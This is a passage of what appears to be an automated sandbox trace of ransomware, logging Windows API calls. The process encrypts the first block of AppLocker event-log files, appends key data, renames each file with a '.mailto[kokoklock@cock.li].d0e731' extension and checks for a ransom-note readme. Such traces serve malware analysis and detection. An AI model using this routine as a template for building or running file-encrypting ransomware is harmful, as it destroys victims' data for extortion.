= 0xe70 [0164.170] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.170] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.170] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.170] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x626f7b0 | out: lpFileSize=0x626f7b0*=69824) returned 1 [0164.170] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.170] ReadFile (in: hFile=0x4a0, lpBuffer=0x626f784, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x626f780, lpOverlapped=0x0 | out: lpBuffer=0x626f784*, lpNumberOfBytesRead=0x626f780*=0x4, lpOverlapped=0x0) returned 1 [0164.171] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8d8 [0164.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a838 [0164.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aa18 [0164.171] NtQuerySystemTime (in: CurrentTime=0x626f75c | out: CurrentTime=0x626f75c*=132121213214902930) returned 0x0 [0164.171] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x2198938b [0164.171] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xbb033dc7 [0164.171] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xe6db4bca [0164.171] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x1462e211 [0164.171] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xf4a92375 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x6d55bef [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xcab52d54 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x4da54a03 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x6652246d [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x187728da [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xb923781a [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x50d2df36 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xe1157ef1 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xb7af93c6 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xc6809bbe [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x1b88455c [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x57e619f4 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xa4eef973 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xa12f291b [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x8a8ab34e [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x1c62e45b [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x87738045 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xfff3a771 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x3fe40474 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x6ca73959 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x302b91b9 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xe31c6dc4 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xefe5cd32 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0xc0b23bd7 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x24fb2ec [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x4f447d42 [0164.172] RtlRandom (in: Seed=0x626f768 | out: Seed=0x626f768) returned 0x27baf6f0 [0164.180] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aa68 [0164.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8d8) returned 1 [0164.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.182] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.182] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x626f734, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x626f734*=0x4096, lpOverlapped=0x0) returned 1 [0164.186] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8d8 [0164.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8d8) returned 1 [0164.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.187] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x626f734, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x626f734*=0x4096, lpOverlapped=0x0) returned 1 [0164.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.188] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.188] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x626f76c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x626f76c*=0x20, lpOverlapped=0x0) returned 1 [0164.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.188] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8aa68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x626f780, lpOverlapped=0x0 | out: lpBuffer=0x2f8aa68*, lpNumberOfBytesWritten=0x626f780*=0x8, lpOverlapped=0x0) returned 1 [0164.188] WriteFile (in: hFile=0x4a0, lpBuffer=0x626f798*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x626f780, lpOverlapped=0x0 | out: lpBuffer=0x626f798*, lpNumberOfBytesWritten=0x626f780*=0x4, lpOverlapped=0x0) returned 1 [0164.188] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x626f780, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x626f780*=0x4, lpOverlapped=0x0) returned 1 [0164.189] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x626f780, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x626f780*=0x6c, lpOverlapped=0x0) returned 1 [0164.189] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a838*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x626f780, lpOverlapped=0x0 | out: lpBuffer=0x2f8a838*, lpNumberOfBytesWritten=0x626f780*=0x20, lpOverlapped=0x0) returned 1 [0164.189] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x626f780, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x626f780*=0x4, lpOverlapped=0x0) returned 1 [0164.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a838) returned 1 [0164.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aa68) returned 1 [0164.189] CloseHandle (hObject=0x4a0) returned 1 [0164.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x2f95a00 [0164.189] wcscpy (in: _Dest=0x2f95a00, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" [0164.189] wcscat (in: _Dest=0x2f95a00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.189] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.190] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95a00) returned 1 [0164.190] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.190] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.190] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.190] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.191] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.191] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83960) returned 1 [0164.191] RtlExitUserThread (Status=0x1) Thread: id = 1510 os_tid = 0xe74 [0164.195] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.195] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.195] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.195] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x62ef9c8 | out: lpFileSize=0x62ef9c8*=69824) returned 1 [0164.195] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.195] ReadFile (in: hFile=0x4a0, lpBuffer=0x62ef99c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x62ef998, lpOverlapped=0x0 | out: lpBuffer=0x62ef99c*, lpNumberOfBytesRead=0x62ef998*=0x4, lpOverlapped=0x0) returned 1 [0164.196] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.196] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.196] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.196] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8d8 [0164.196] NtQuerySystemTime (in: CurrentTime=0x62ef974 | out: CurrentTime=0x62ef974*=132121213215088679) returned 0x0 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xf4060e60 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x37689b0f [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x7c218ea4 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x54128c88 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xa3b6bd2c [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x6d5225fb [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xe7a9bede [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x3f0645ab [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xd54ec935 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x5e9da708 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x108d6931 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x255163a3 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x84255a2a [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x9b9021ee [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xe634d8f0 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xaceb2dd6 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xdb1e2993 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xcc581087 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x5ce6af4 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xe2e22 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x5311b0cd [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x25b22f02 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x845f26dc [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xf842a53c [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x6b161762 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x620ca5b4 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xdad04080 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x974be08b [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x5d07a19b [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x975bff35 [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0x6497996c [0164.197] RtlRandom (in: Seed=0x62ef980 | out: Seed=0x62ef980) returned 0xa762b610 [0164.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a928 [0164.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aa40 [0164.208] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.208] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.208] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.208] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x62ef94c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x62ef94c*=0x4096, lpOverlapped=0x0) returned 1 [0164.209] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.209] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.209] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.209] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aa68 [0164.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aa68) returned 1 [0164.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a860 [0164.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5e0 [0164.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a5e0) returned 1 [0164.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.210] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x62ef94c, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x62ef94c*=0x4096, lpOverlapped=0x0) returned 1 [0164.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.210] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.210] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a860*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x62ef984, lpOverlapped=0x0 | out: lpBuffer=0x2f8a860*, lpNumberOfBytesWritten=0x62ef984*=0x20, lpOverlapped=0x0) returned 1 [0164.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a860) returned 1 [0164.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.211] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8aa40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x62ef998, lpOverlapped=0x0 | out: lpBuffer=0x2f8aa40*, lpNumberOfBytesWritten=0x62ef998*=0x8, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x4a0, lpBuffer=0x62ef9b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x62ef998, lpOverlapped=0x0 | out: lpBuffer=0x62ef9b0*, lpNumberOfBytesWritten=0x62ef998*=0x4, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x62ef998, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x62ef998*=0x4, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x62ef998, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x62ef998*=0x6c, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x62ef998, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x62ef998*=0x20, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x62ef998, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x62ef998*=0x4, lpOverlapped=0x0) returned 1 [0164.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a928) returned 1 [0164.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aa40) returned 1 [0164.212] CloseHandle (hObject=0x4a0) returned 1 [0164.212] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85918 [0164.212] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" [0164.212] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.212] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.213] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.213] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.213] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0164.213] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.213] wcscat (in: _Dest=0x2f808a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.213] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0164.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96220) returned 1 [0164.213] RtlExitUserThread (Status=0x1) Thread: id = 1511 os_tid = 0xe78 [0164.216] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.217] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.217] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.217] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x636f8a8 | out: lpFileSize=0x636f8a8*=69824) returned 1 [0164.217] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, 